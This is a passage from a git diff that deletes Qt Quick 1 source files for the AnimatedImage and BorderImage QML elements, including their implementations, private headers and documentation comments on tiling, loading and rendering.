d->setPixmap(d->_movie->currentPixmap()); - d->status = Ready; - emit statusChanged(d->status); -} - -void QDeclarative1AnimatedImage::movieUpdate() -{ - Q_D(QDeclarative1AnimatedImage); - d->setPixmap(d->_movie->currentPixmap()); - emit frameChanged(); -} - -void QDeclarative1AnimatedImage::playingStatusChanged() -{ - Q_D(QDeclarative1AnimatedImage); - if((d->_movie->state() != QMovie::NotRunning) != d->playing){ - d->playing = (d->_movie->state() != QMovie::NotRunning); - emit playingChanged(); - } - if((d->_movie->state() == QMovie::Paused) != d->paused){ - d->playing = (d->_movie->state() == QMovie::Paused); - emit pausedChanged(); - } -} - -void QDeclarative1AnimatedImage::componentComplete() -{ - Q_D(QDeclarative1AnimatedImage); - QDeclarativeItem::componentComplete(); // NOT QDeclarative1Image - if (d->url.isValid()) - load(); - if (!d->reply) { - setCurrentFrame(d->preset_currentframe); - d->preset_currentframe = 0; - } -} - - - -QT_END_NAMESPACE - -#endif // QT_NO_MOVIE diff --git a/src/qtquick1/graphicsitems/qdeclarativeanimatedimage_p.h b/src/qtquick1/graphicsitems/qdeclarativeanimatedimage_p.h deleted file mode 100644 index 373af3cc69..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeanimatedimage_p.h +++ /dev/null @@ -1,116 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEANIMATEDIMAGE_H -#define QDECLARATIVEANIMATEDIMAGE_H - -#include "private/qdeclarativeimage_p.h" - -#ifndef QT_NO_MOVIE - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - -class QMovie; - - -class QDeclarative1AnimatedImagePrivate; - -class Q_AUTOTEST_EXPORT QDeclarative1AnimatedImage : public QDeclarative1Image -{ - Q_OBJECT - - Q_PROPERTY(bool playing READ isPlaying WRITE setPlaying NOTIFY playingChanged) - Q_PROPERTY(bool paused READ isPaused WRITE setPaused NOTIFY pausedChanged) - Q_PROPERTY(int currentFrame READ currentFrame WRITE setCurrentFrame NOTIFY frameChanged) - Q_PROPERTY(int frameCount READ frameCount) - - // read-only for AnimatedImage - Q_PROPERTY(QSize sourceSize READ sourceSize NOTIFY sourceSizeChanged) - -public: - QDeclarative1AnimatedImage(QDeclarativeItem *parent=0); - ~QDeclarative1AnimatedImage(); - - bool isPlaying() const; - void setPlaying(bool play); - - bool isPaused() const; - void setPaused(bool pause); - - int currentFrame() const; - void setCurrentFrame(int frame); - - int frameCount() const; - - // Extends QDeclarative1Image's src property*/ - virtual void setSource(const QUrl&); - -Q_SIGNALS: - void playingChanged(); - void pausedChanged(); - void frameChanged(); - void sourceSizeChanged(); - -private Q_SLOTS: - void movieUpdate(); - void movieRequestFinished(); - void playingStatusChanged(); - -protected: - virtual void load(); - void componentComplete(); - -private: - Q_DISABLE_COPY(QDeclarative1AnimatedImage) - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarative1AnimatedImage) -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1AnimatedImage) - -QT_END_HEADER - -#endif // QT_NO_MOVIE - -#endif diff --git a/src/qtquick1/graphicsitems/qdeclarativeanimatedimage_p_p.h b/src/qtquick1/graphicsitems/qdeclarativeanimatedimage_p_p.h deleted file mode 100644 index 8fe6502d99..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeanimatedimage_p_p.h +++ /dev/null @@ -1,87 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEANIMATEDIMAGE_P_H -#define QDECLARATIVEANIMATEDIMAGE_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "private/qdeclarativeimage_p_p.h" - -#ifndef QT_NO_MOVIE - -QT_BEGIN_NAMESPACE - -class QMovie; -class QNetworkReply; - -class QDeclarative1AnimatedImagePrivate : public QDeclarative1ImagePrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1AnimatedImage) - -public: - QDeclarative1AnimatedImagePrivate() - : playing(true), paused(false), preset_currentframe(0), _movie(0), reply(0), redirectCount(0) - { - } - - bool playing; - bool paused; - int preset_currentframe; - QMovie *_movie; - QNetworkReply *reply; - int redirectCount; -}; - -QT_END_NAMESPACE - -#endif // QT_NO_MOVIE - -#endif // QDECLARATIVEANIMATEDIMAGE_P_H diff --git a/src/qtquick1/graphicsitems/qdeclarativeborderimage.cpp b/src/qtquick1/graphicsitems/qdeclarativeborderimage.cpp deleted file mode 100644 index 7ef77eabe9..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeborderimage.cpp +++ /dev/null @@ -1,624 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativeborderimage_p.h" -#include "QtQuick1/private/qdeclarativeborderimage_p_p.h" - -#include -#include - -#include -#include -#include - -#include - -QT_BEGIN_NAMESPACE - - - -/*! - \qmlclass BorderImage QDeclarative1BorderImage - \inqmlmodule QtQuick 1 - \brief The BorderImage element provides an image that can be used as a border. - \inherits Item - \since QtQuick 1.0 - \ingroup qml-basic-visual-elements - - The BorderImage element is used to create borders out of images by scaling or tiling - parts of each image. - - A BorderImage element breaks a source image, specified using the \l url property, - into 9 regions, as shown below: - - \image declarative-scalegrid.png - - When the image is scaled, regions of the source image are scaled or tiled to - create the displayed border image in the following way: - - \list - \i The corners (regions 1, 3, 7, and 9) are not scaled at all. - \i Regions 2 and 8 are scaled according to - \l{BorderImage::horizontalTileMode}{horizontalTileMode}. - \i Regions 4 and 6 are scaled according to - \l{BorderImage::verticalTileMode}{verticalTileMode}. - \i The middle (region 5) is scaled according to both - \l{BorderImage::horizontalTileMode}{horizontalTileMode} and - \l{BorderImage::verticalTileMode}{verticalTileMode}. - \endlist - - The regions of the image are defined using the \l border property group, which - describes the distance from each edge of the source image to use as a border. - - \section1 Example Usage - - The following examples show the effects of the different modes on an image. - Guide lines are overlaid onto the image to show the different regions of the - image as described above. - - \beginfloatleft - \image qml-borderimage-normal-image.png - \endfloat - - An unscaled image is displayed using an Image element. The \l border property is - used to determine the parts of the image that will lie inside the unscaled corner - areas and the parts that will be stretched horizontally and vertically. - - \snippet doc/src/snippets/qtquick1/borderimage/normal-image.qml normal image - - \clearfloat - \beginfloatleft - \image qml-borderimage-scaled.png - \endfloat - - A BorderImage element is used to display the image, and it is given a size that is - larger than the original image. Since the \l horizontalTileMode property is set to - \l{BorderImage::horizontalTileMode}{BorderImage.Stretch}, the parts of image in - regions 2 and 8 are stretched horizontally. Since the \l verticalTileMode property - is set to \l{BorderImage::verticalTileMode}{BorderImage.Stretch}, the parts of image - in regions 4 and 6 are stretched vertically. - - \snippet doc/src/snippets/qtquick1/borderimage/borderimage-scaled.qml scaled border image - - \clearfloat - \beginfloatleft - \image qml-borderimage-tiled.png - \endfloat - - Again, a large BorderImage element is used to display the image. With the - \l horizontalTileMode property set to \l{BorderImage::horizontalTileMode}{BorderImage.Repeat}, - the parts of image in regions 2 and 8 are tiled so that they fill the space at the - top and bottom of the element. Similarly, the \l verticalTileMode property is set to - \l{BorderImage::verticalTileMode}{BorderImage.Repeat}, the parts of image in regions - 4 and 6 are tiled so that they fill the space at the left and right of the element. - - \snippet doc/src/snippets/qtquick1/borderimage/borderimage-tiled.qml tiled border image - - \clearfloat - In some situations, the width of regions 2 and 8 may not be an exact multiple of the width - of the corresponding regions in the source image. Similarly, the height of regions 4 and 6 - may not be an exact multiple of the height of the corresponding regions. It can be useful - to use \l{BorderImage::horizontalTileMode}{BorderImage.Round} instead of - \l{BorderImage::horizontalTileMode}{BorderImage.Repeat} in cases like these. - - The \l{declarative/imageelements/borderimage}{BorderImage example} shows how a BorderImage - can be used to simulate a shadow effect on a rectangular item. - - \section1 Quality and Performance - - By default, any scaled regions of the image are rendered without smoothing to improve - rendering speed. Setting the \l smooth property improves rendering quality of scaled - regions, but may slow down rendering. - - The source image may not be loaded instantaneously, depending on its original location. - Loading progress can be monitored with the \l progress property. - - \sa Image, AnimatedImage - */ - -/*! - \qmlproperty bool QtQuick1::BorderImage::asynchronous - - Specifies that images on the local filesystem should be loaded - asynchronously in a separate thread. The default value is - false, causing the user interface thread to block while the - image is loaded. Setting \a asynchronous to true is useful where - maintaining a responsive user interface is more desirable - than having images immediately visible. - - Note that this property is only valid for images read from the - local filesystem. Images loaded via a network resource (e.g. HTTP) - are always loaded asynchonously. -*/ -QDeclarative1BorderImage::QDeclarative1BorderImage(QDeclarativeItem *parent) - : QDeclarative1ImageBase(*(new QDeclarative1BorderImagePrivate), parent) -{ -} - -QDeclarative1BorderImage::~QDeclarative1BorderImage() -{ - Q_D(QDeclarative1BorderImage); - if (d->sciReply) - d->sciReply->deleteLater(); -} -/*! - \qmlproperty enumeration QtQuick1::BorderImage::status - - This property describes the status of image loading. It can be one of: - - \list - \o BorderImage.Null - no image has been set - \o BorderImage.Ready - the image has been loaded - \o BorderImage.Loading - the image is currently being loaded - \o BorderImage.Error - an error occurred while loading the image - \endlist - - \sa progress -*/ - -/*! - \qmlproperty real QtQuick1::BorderImage::progress - - This property holds the progress of image loading, from 0.0 (nothing loaded) - to 1.0 (finished). - - \sa status -*/ - -/*! - \qmlproperty bool QtQuick1::BorderImage::smooth - - Set this property if you want the image to be smoothly filtered when scaled or - transformed. Smooth filtering gives better visual quality, but is slower. If - the image is displayed at its natural size, this property has no visual or - performance effect. - - By default, this property is set to false. - - \note Generally scaling artifacts are only visible if the image is stationary on - the screen. A common pattern when animating an image is to disable smooth - filtering at the beginning of the animation and enable it at the conclusion. -*/ - -/*! - \qmlproperty bool QtQuick1::BorderImage::cache - \since Quick 1.1 - - Specifies whether the image should be cached. The default value is - true. Setting \a cache to false is useful when dealing with large images, - to make sure that they aren't cached at the expense of small 'ui element' images. -*/ - -/*! - \qmlproperty bool QtQuick1::BorderImage::mirror - \since Quick 1.1 - - This property holds whether the image should be horizontally inverted - (effectively displaying a mirrored image). - - The default value is false. -*/ - -/*! - \qmlproperty url QtQuick1::BorderImage::source - - This property holds the URL that refers to the source image. - - BorderImage can handle any image format supported by Qt, loaded from any - URL scheme supported by Qt. - - This property can also be used to refer to .sci files, which are - written in a QML-specific, text-based format that specifies the - borders, the image file and the tile rules for a given border image. - - The following .sci file sets the borders to 10 on each side for the - image \c picture.png: - - \code - border.left: 10 - border.top: 10 - border.bottom: 10 - border.right: 10 - source: "picture.png" - \endcode - - The URL may be absolute, or relative to the URL of the component. - - \sa QDeclarativeImageProvider -*/ - -/*! - \qmlproperty QSize QtQuick1::BorderImage::sourceSize - - This property holds the actual width and height of the loaded image. - - In BorderImage, this property is read-only. - - \sa Image::sourceSize -*/ -void QDeclarative1BorderImage::setSource(const QUrl &url) -{ - Q_D(QDeclarative1BorderImage); - //equality is fairly expensive, so we bypass for simple, common case - if ((d->url.isEmpty() == url.isEmpty()) && url == d->url) - return; - - if (d->sciReply) { - d->sciReply->deleteLater(); - d->sciReply = 0; - } - - d->url = url; - d->sciurl = QUrl(); - emit sourceChanged(d->url); - - if (isComponentComplete()) - load(); -} - -void QDeclarative1BorderImage::load() -{ - Q_D(QDeclarative1BorderImage); - if (d->progress != 0.0) { - d->progress = 0.0; - emit progressChanged(d->progress); - } - - if (d->url.isEmpty()) { - d->pix.clear(this); - d->status = Null; - setImplicitWidth(0); - setImplicitHeight(0); - emit statusChanged(d->status); - update(); - } else { - d->status = Loading; - if (d->url.path().endsWith(QLatin1String("sci"))) { -#ifndef QT_NO_LOCALFILE_OPTIMIZED_QML - QString lf = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(d->url); - if (!lf.isEmpty()) { - QFile file(lf); - file.open(QIODevice::ReadOnly); - setGridScaledImage(QDeclarative1GridScaledImage(&file)); - } else -#endif - { - QNetworkRequest req(d->url); - d->sciReply = qmlEngine(this)->networkAccessManager()->get(req); - - static int sciReplyFinished = -1; - static int thisSciRequestFinished = -1; - if (sciReplyFinished == -1) { - sciReplyFinished = - QNetworkReply::staticMetaObject.indexOfSignal("finished()"); - thisSciRequestFinished = - QDeclarative1BorderImage::staticMetaObject.indexOfSlot("sciRequestFinished()"); - } - - QMetaObject::connect(d->sciReply, sciReplyFinished, this, - thisSciRequestFinished, Qt::DirectConnection); - } - } else { - - QDeclarative1Pixmap::Options options; - if (d->async) - options |= QDeclarative1Pixmap::Asynchronous; - if (d->cache) - options |= QDeclarative1Pixmap::Cache; - d->pix.clear(this); - d->pix.load(qmlEngine(this), d->url, options); - - if (d->pix.isLoading()) { - d->pix.connectFinished(this, SLOT(requestFinished())); - d->pix.connectDownloadProgress(this, SLOT(requestProgress(qint64,qint64))); - } else { - QSize impsize = d->pix.implicitSize(); - setImplicitWidth(impsize.width()); - setImplicitHeight(impsize.height()); - - if (d->pix.isReady()) { - d->status = Ready; - } else { - d->status = Error; - qmlInfo(this) << d->pix.error(); - } - - d->progress = 1.0; - emit statusChanged(d->status); - emit progressChanged(d->progress); - requestFinished(); - update(); - } - } - } - - emit statusChanged(d->status); -} - -/*! - \qmlproperty int QtQuick1::BorderImage::border.left - \qmlproperty int QtQuick1::BorderImage::border.right - \qmlproperty int QtQuick1::BorderImage::border.top - \qmlproperty int QtQuick1::BorderImage::border.bottom - - The 4 border lines (2 horizontal and 2 vertical) break the image into 9 sections, - as shown below: - - \image declarative-scalegrid.png - - Each border line (left, right, top, and bottom) specifies an offset in pixels - from the respective edge of the source image. By default, each border line has - a value of 0. - - For example, the following definition sets the bottom line 10 pixels up from - the bottom of the image: - - \qml - BorderImage { - border.bottom: 10 - // ... - } - \endqml - - The border lines can also be specified using a - \l {BorderImage::source}{.sci file}. -*/ - -QDeclarative1ScaleGrid *QDeclarative1BorderImage::border() -{ - Q_D(QDeclarative1BorderImage); - return d->getScaleGrid(); -} - -/*! - \qmlproperty enumeration QtQuick1::BorderImage::horizontalTileMode - \qmlproperty enumeration QtQuick1::BorderImage::verticalTileMode - - This property describes how to repeat or stretch the middle parts of the border image. - - \list - \o BorderImage.Stretch - Scales the image to fit to the available area. - \o BorderImage.Repeat - Tile the image until there is no more space. May crop the last image. - \o BorderImage.Round - Like Repeat, but scales the images down to ensure that the last image is not cropped. - \endlist - - The default tile mode for each property is BorderImage.Stretch. -*/ -QDeclarative1BorderImage::TileMode QDeclarative1BorderImage::horizontalTileMode() const -{ - Q_D(const QDeclarative1BorderImage); - return d->horizontalTileMode; -} - -void QDeclarative1BorderImage::setHorizontalTileMode(TileMode t) -{ - Q_D(QDeclarative1BorderImage); - if (t != d->horizontalTileMode) { - d->horizontalTileMode = t; - emit horizontalTileModeChanged(); - update(); - } -} - -QDeclarative1BorderImage::TileMode QDeclarative1BorderImage::verticalTileMode() const -{ - Q_D(const QDeclarative1BorderImage); - return d->verticalTileMode; -} - -void QDeclarative1BorderImage::setVerticalTileMode(TileMode t) -{ - Q_D(QDeclarative1BorderImage); - if (t != d->verticalTileMode) { - d->verticalTileMode = t; - emit verticalTileModeChanged(); - update(); - } -} - -void QDeclarative1BorderImage::setGridScaledImage(const QDeclarative1GridScaledImage& sci) -{ - Q_D(QDeclarative1BorderImage); - if (!sci.isValid()) { - d->status = Error; - emit statusChanged(d->status); - } else { - QDeclarative1ScaleGrid *sg = border(); - sg->setTop(sci.gridTop()); - sg->setBottom(sci.gridBottom()); - sg->setLeft(sci.gridLeft()); - sg->setRight(sci.gridRight()); - d->horizontalTileMode = sci.horizontalTileRule(); - d->verticalTileMode = sci.verticalTileRule(); - - d->sciurl = d->url.resolved(QUrl(sci.pixmapUrl())); - - QDeclarative1Pixmap::Options options; - if (d->async) - options |= QDeclarative1Pixmap::Asynchronous; - if (d->cache) - options |= QDeclarative1Pixmap::Cache; - d->pix.clear(this); - d->pix.load(qmlEngine(this), d->sciurl, options); - - if (d->pix.isLoading()) { - static int thisRequestProgress = -1; - static int thisRequestFinished = -1; - if (thisRequestProgress == -1) { - thisRequestProgress = - QDeclarative1BorderImage::staticMetaObject.indexOfSlot("requestProgress(qint64,qint64)"); - thisRequestFinished = - QDeclarative1BorderImage::staticMetaObject.indexOfSlot("requestFinished()"); - } - - d->pix.connectFinished(this, thisRequestFinished); - d->pix.connectDownloadProgress(this, thisRequestProgress); - - } else { - - QSize impsize = d->pix.implicitSize(); - setImplicitWidth(impsize.width()); - setImplicitHeight(impsize.height()); - - if (d->pix.isReady()) { - d->status = Ready; - } else { - d->status = Error; - qmlInfo(this) << d->pix.error(); - } - - d->progress = 1.0; - emit statusChanged(d->status); - emit progressChanged(1.0); - update(); - - } - } -} - -void QDeclarative1BorderImage::requestFinished() -{ - Q_D(QDeclarative1BorderImage); - - QSize impsize = d->pix.implicitSize(); - if (d->pix.isError()) { - d->status = Error; - qmlInfo(this) << d->pix.error(); - } else { - d->status = Ready; - } - - setImplicitWidth(impsize.width()); - setImplicitHeight(impsize.height()); - - if (d->sourcesize.width() != d->pix.width() || d->sourcesize.height() != d->pix.height()) - emit sourceSizeChanged(); - - d->progress = 1.0; - emit statusChanged(d->status); - emit progressChanged(1.0); - update(); -} - -#define BORDERIMAGE_MAX_REDIRECT 16 - -void QDeclarative1BorderImage::sciRequestFinished() -{ - Q_D(QDeclarative1BorderImage); - - d->redirectCount++; - if (d->redirectCount < BORDERIMAGE_MAX_REDIRECT) { - QVariant redirect = d->sciReply->attribute(QNetworkRequest::RedirectionTargetAttribute); - if (redirect.isValid()) { - QUrl url = d->sciReply->url().resolved(redirect.toUrl()); - setSource(url); - return; - } - } - d->redirectCount=0; - - if (d->sciReply->error() != QNetworkReply::NoError) { - d->status = Error; - d->sciReply->deleteLater(); - d->sciReply = 0; - emit statusChanged(d->status); - } else { - QDeclarative1GridScaledImage sci(d->sciReply); - d->sciReply->deleteLater(); - d->sciReply = 0; - setGridScaledImage(sci); - } -} - -void QDeclarative1BorderImage::doUpdate() -{ - update(); -} - -void QDeclarative1BorderImage::paint(QPainter *p, const QStyleOptionGraphicsItem *, QWidget *) -{ - Q_D(QDeclarative1BorderImage); - if (d->pix.isNull() || d->width() <= 0.0 || d->height() <= 0.0) - return; - - bool oldAA = p->testRenderHint(QPainter::Antialiasing); - bool oldSmooth = p->testRenderHint(QPainter::SmoothPixmapTransform); - QTransform oldTransform; - if (d->smooth) - p->setRenderHints(QPainter::Antialiasing | QPainter::SmoothPixmapTransform, d->smooth); - if (d->mirror) { - oldTransform = p->transform(); - QTransform mirror; - mirror.translate(d->width(), 0).scale(-1, 1.0); - p->setWorldTransform(mirror * oldTransform); - } - - const QDeclarative1ScaleGrid *border = d->getScaleGrid(); - int left = border->left(); - int right = border->right(); - qreal borderWidth = left + right; - if (borderWidth > 0.0 && d->width() < borderWidth) { - qreal diff = borderWidth - d->width() - 1; - left -= qRound(diff * qreal(left) / borderWidth); - right -= qRound(diff * qreal(right) / borderWidth); - } - int top = border->top(); - int bottom = border->bottom(); - qreal borderHeight = top + bottom; - if (borderHeight > 0.0 && d->height() < borderHeight) { - qreal diff = borderHeight - d->height() - 1; - top -= qRound(diff * qreal(top) / borderHeight); - bottom -= qRound(diff * qreal(bottom) / borderHeight); - } - QMargins margins(left, top, right, bottom); - QTileRules rules((Qt::TileRule)d->horizontalTileMode, (Qt::TileRule)d->verticalTileMode); - qDrawBorderPixmap(p, QRect(0, 0, (int)d->width(), (int)d->height()), margins, d->pix, d->pix.rect(), margins, rules); - if (d->smooth) { - p->setRenderHint(QPainter::Antialiasing, oldAA); - p->setRenderHint(QPainter::SmoothPixmapTransform, oldSmooth); - } - if (d->mirror) - p->setWorldTransform(oldTransform); -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/graphicsitems/qdeclarativeborderimage_p.h b/src/qtquick1/graphicsitems/qdeclarativeborderimage_p.h deleted file mode 100644 index 4f5cd7e109..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeborderimage_p.h +++ /dev/null @@ -1,110 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEBORDERIMAGE_H -#define QDECLARATIVEBORDERIMAGE_H - -#include "private/qdeclarativeimagebase_p.h" - -#include - -QT_BEGIN_HEADER -QT_BEGIN_NAMESPACE - - -class QDeclarative1ScaleGrid; -class QDeclarative1GridScaledImage; -class QDeclarative1BorderImagePrivate; -class Q_AUTOTEST_EXPORT QDeclarative1BorderImage : public QDeclarative1ImageBase -{ - Q_OBJECT - Q_ENUMS(TileMode) - - Q_PROPERTY(QDeclarative1ScaleGrid *border READ border CONSTANT) - Q_PROPERTY(TileMode horizontalTileMode READ horizontalTileMode WRITE setHorizontalTileMode NOTIFY horizontalTileModeChanged) - Q_PROPERTY(TileMode verticalTileMode READ verticalTileMode WRITE setVerticalTileMode NOTIFY verticalTileModeChanged) - - // read-only for BorderImage - Q_PROPERTY(QSize sourceSize READ sourceSize NOTIFY sourceSizeChanged) - -public: - QDeclarative1BorderImage(QDeclarativeItem *parent=0); - ~QDeclarative1BorderImage(); - - QDeclarative1ScaleGrid *border(); - - enum TileMode { Stretch = Qt::StretchTile, Repeat = Qt::RepeatTile, Round = Qt::RoundTile }; - - TileMode horizontalTileMode() const; - void setHorizontalTileMode(TileMode); - - TileMode verticalTileMode() const; - void setVerticalTileMode(TileMode); - - void paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *); - void setSource(const QUrl &url); - -Q_SIGNALS: - void horizontalTileModeChanged(); - void verticalTileModeChanged(); - void sourceSizeChanged(); - -protected: - virtual void load(); - -private: - void setGridScaledImage(const QDeclarative1GridScaledImage& sci); - -private Q_SLOTS: - void doUpdate(); - void requestFinished(); - void sciRequestFinished(); - -private: - Q_DISABLE_COPY(QDeclarative1BorderImage) - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarative1BorderImage) -}; - -QT_END_NAMESPACE -QML_DECLARE_TYPE(QDeclarative1BorderImage) -QT_END_HEADER - -#endif // QDECLARATIVEBORDERIMAGE_H diff --git a/src/qtquick1/graphicsitems/qdeclarativeborderimage_p_p.h b/src/qtquick1/graphicsitems/qdeclarativeborderimage_p_p.h deleted file mode 100644 index 4515e62db6..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeborderimage_p_p.h +++ /dev/null @@ -1,107 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEBORDERIMAGE_P_H -#define QDECLARATIVEBORDERIMAGE_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "private/qdeclarativeimagebase_p_p.h" -#include "private/qdeclarativescalegrid_p_p.h" - -QT_BEGIN_NAMESPACE - -class QNetworkReply; - -class QDeclarative1BorderImagePrivate : public QDeclarative1ImageBasePrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1BorderImage) - -public: - QDeclarative1BorderImagePrivate() - : border(0), sciReply(0), - horizontalTileMode(QDeclarative1BorderImage::Stretch), - verticalTileMode(QDeclarative1BorderImage::Stretch), - redirectCount(0) - { - } - - ~QDeclarative1BorderImagePrivate() - { - } - - - QDeclarative1ScaleGrid *getScaleGrid() - { - Q_Q(QDeclarative1BorderImage); - if (!border) { - border = new QDeclarative1ScaleGrid(q); - static int borderChangedSignalIdx = -1; - static int doUpdateSlotIdx = -1; - if (borderChangedSignalIdx < 0) - borderChangedSignalIdx = QDeclarative1ScaleGrid::staticMetaObject.indexOfSignal("borderChanged()"); - if (doUpdateSlotIdx < 0) - doUpdateSlotIdx = QDeclarative1BorderImage::staticMetaObject.indexOfSlot("doUpdate()"); - QMetaObject::connect(border, borderChangedSignalIdx, q, doUpdateSlotIdx); - } - return border; - } - - QDeclarative1ScaleGrid *border; - QUrl sciurl; - QNetworkReply *sciReply; - QDeclarative1BorderImage::TileMode horizontalTileMode; - QDeclarative1BorderImage::TileMode verticalTileMode; - int redirectCount; -}; - -QT_END_NAMESPACE - -#endif // QDECLARATIVEBORDERIMAGE_P_H diff --git 